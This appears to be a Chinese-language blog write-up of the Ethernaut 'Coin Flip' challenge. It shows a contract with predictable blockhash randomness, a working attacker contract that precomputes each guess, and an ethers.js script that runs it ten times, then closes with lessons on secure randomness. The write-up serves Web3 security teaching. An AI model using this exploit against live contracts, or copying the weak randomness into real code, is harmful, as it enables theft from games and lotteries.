Appearance
Ethernaut挑战:Coin Flip——预测未来?不,我只是看穿了你!
想象一下,你面前有一个神奇的机器,它能以近乎完美的概率掷出硬币的正反面。你的任务是连续十次猜中硬币的结果,赢得一场看似不可能的挑战。这听起来像是神秘的预知能力,还是某种高超的作弊技巧?
欢迎来到Ethernaut的“Coin Flip”挑战,一个由Kyle Riley精心设计的智能合约谜题。在这里,你将体验一场关于去中心化应用(DApp)安全性的深度探索,而不是简单的运气游戏。
挑战背景:看似公平的掷硬币游戏
Ethernaut是一个Web3安全学习平台,它通过一系列可破解的智能合约级别,帮助开发者和安全研究人员学习以太坊上的常见漏洞。而“Coin Flip”就是其中一个引人入胜的级别。
根据描述,我们需要连续10次准确预测硬币翻转的结果。如果猜错一次,连胜纪录就会清零。官方甚至暗示你需要“超能力”(psychic abilities)才能完成。果真如此吗?
让我们深入查看挑战的核心——CoinFlip.sol智能合约。
solidity
// CoinFlip.sol
contract CoinFlip {
uint256 public consecutiveWins; // 连胜次数
uint256 lastHash; // 上一个区块的哈希
uint256 FACTOR = 578...968; // 一个巨大的常数
// ...
function flip(bool _guess) public returns (bool) {
// 获取上一个区块的哈希值
uint256 blockValue = uint256(blockhash(block.number - 1));
// 如果与上一次的哈希值相同,则回滚(防止同块内重复使用)
if (lastHash == blockValue) {
revert();
}
lastHash = blockValue; // 更新哈希值
// 通过对 blockValue 除以 FACTOR 来模拟硬币翻转
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false; // 结果为0或1,对应正反
if (side == _guess) {
consecutiveWins++; // 猜中,连胜+1
return true;
} else {
consecutiveWins = 0; // 猜错,连胜清零
return false;
}
}
}
从代码中我们可以看到,CoinFlip合约试图通过blockhash(block.number - 1)来生成一个“随机数”。它取上一个区块的哈希值,然后将其除以一个巨大的FACTOR常数。由于FACTOR的巧妙设计,这个除法的结果只会是0或1,从而模拟了硬币的正反面。
乍一看,这似乎是一个非常巧妙的方法来获取链上随机性。因为没人能预测未来的区块哈希,所以也没人能预测硬币的结果。但,真的是这样吗?
智胜伪随机:洞悉智能合约的奥秘
这里的关键在于:blockhash(block.number - 1)并非“未来”的哈希。它指的是当前交易所在区块的前一个区块的哈希值。
这就是漏洞的精髓!
当我们的攻击合约(或普通用户)调用CoinFlip.flip()函数时,这个交易会被打包到某个区块N中。在执行CoinFlip.flip()时,它会获取blockhash(N-1)。
而我们的攻击者,如果也部署一个智能合约来调用CoinFlip.flip(),那么在同一个交易中,攻击合约同样可以访问到blockhash(N-1)这个值!
这意味着,攻击合约可以在调用目标CoinFlip合约的flip函数之前,提前计算出硬币的结果!它并不是在预测未来,而是在当前交易执行时,根据已经确定的“过去”信息,推导出目标合约即将进行的操作。
解决方案:打造你的“作弊器”合约
现在,让我们看看如何构建一个“作弊器”合约来轻松实现10连胜。
solidity
// Hack.sol
// 导入 CoinFlip 合约定义
import "./CoinFlip.sol";
contract Hack {
CoinFlip private immutable target; // 目标 CoinFlip 合约实例
uint256 FACTOR = 578...968; // 与 CoinFlip 合约相同的常数
constructor(address _target) {
target = CoinFlip(_target); // 构造函数,传入目标合约地址
}
function flip() external {
bool guess = _guess(); // 调用内部函数预先计算结果
// 调用目标合约的 flip 函数,并传入计算出的正确结果
require(target.flip(guess), "Failed to guess");
}
function _guess() private view returns (bool) {
// 与 CoinFlip 合约中完全相同的计算逻辑
uint256 blockValue = uint256(blockhash(block.number - 1));
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;
return side;
}
}
这个Hack.sol合约非常简单:
- 它保存了目标
CoinFlip合约的地址。 flip()函数是外部可调用的接口。当它被调用时,它会先执行_guess()函数。_guess()函数包含了与CoinFlip.sol中flip函数完全相同的随机数生成逻辑。它获取blockhash(block.number - 1),然后除以FACTOR,得出硬币的真实结果。- 最后,
flip()函数将这个预先计算出的正确结果guess传递给目标CoinFlip合约的flip函数。
这样,我们的Hack合约每次都能精准地“猜中”硬币结果,实现连胜!
自动化操作:用脚本实现十连胜
为了方便地完成10次连胜,我们可以编写一个简单的JavaScript脚本(使用ethers.js库)来部署并调用我们的Hack合约。
javascript
// index.js
async function testnet_main() {
// ... 初始化 provider 和 wallet ...
const contractAddressHack = "0x..."; // 部署好的 Hack 合约地址
const abiHack = [
"function flip() external",
];
const contractHack = new ethers.Contract(contractAddressHack, abiHack, wallet);
// 循环调用 flip 10次
for (let i = 0; i < 10; i++) {
try {
console.log(`尝试第 ${i + 1} 次翻转...`);
const tx = await contractHack.flip();
await tx.wait(); // 等待交易确认
console.log(`第 ${i + 1} 次翻转成功!`);
// 你可以进一步查询 CoinFlip 的 consecutiveWins 状态
// 来确认连胜次数
} catch (error) {
console.error(`第 ${i + 1} 次翻转失败:`, error.message);
// 如果失败,通常是因为gas不足或其他链上问题
// 在实际挑战中,失败需要重新开始,但这里我们预期会成功
process.exit(1); // 失败则退出
}
}
// ... 查询 CoinFlip 合约的连胜次数 ...
}
testnet_main().then(() => process.exit(0)).catch((error) => {
console.error("脚本执行出错:", error);
process.exit(1);
})
通过这个脚本,我们可以在测试网络上自动化地执行Hack合约的flip函数10次,每次都将确保我们赢得硬币翻转,直到达到10连胜,完成Ethernaut挑战。
核心教训:链上随机性的陷阱
“Coin Flip”挑战生动地展示了在智能合约中生成随机数的一个常见陷阱:
blockhash(block.number - 1)不是安全的随机源:由于它在交易执行时是可预测的,所以不能用于需要不可预测性的场景(如游戏、抽奖等)。- 链上数据是公开透明的:智能合约中的所有数据和执行逻辑都是公开的,攻击者可以利用这些公开信息来预测合约的行为。
- 不要依赖链上的“伪随机”:任何基于
block.timestamp、block.number、blockhash等链上信息生成的随机数都是可预测或可操纵的。
为了实现真正的链上随机性,通常需要借助于外部的预言机(Oracles),例如Chainlink VRF(Verifiable Random Function),它们提供了一种安全且可验证的随机数生成方式,可以有效防止此类攻击。
“Coin Flip”挑战不仅是一场有趣的解谜游戏,更是一堂深刻的Web3安全教育课。它提醒我们,在去中心化的世界里,代码即法律,但代码的漏洞也可能被“看穿”!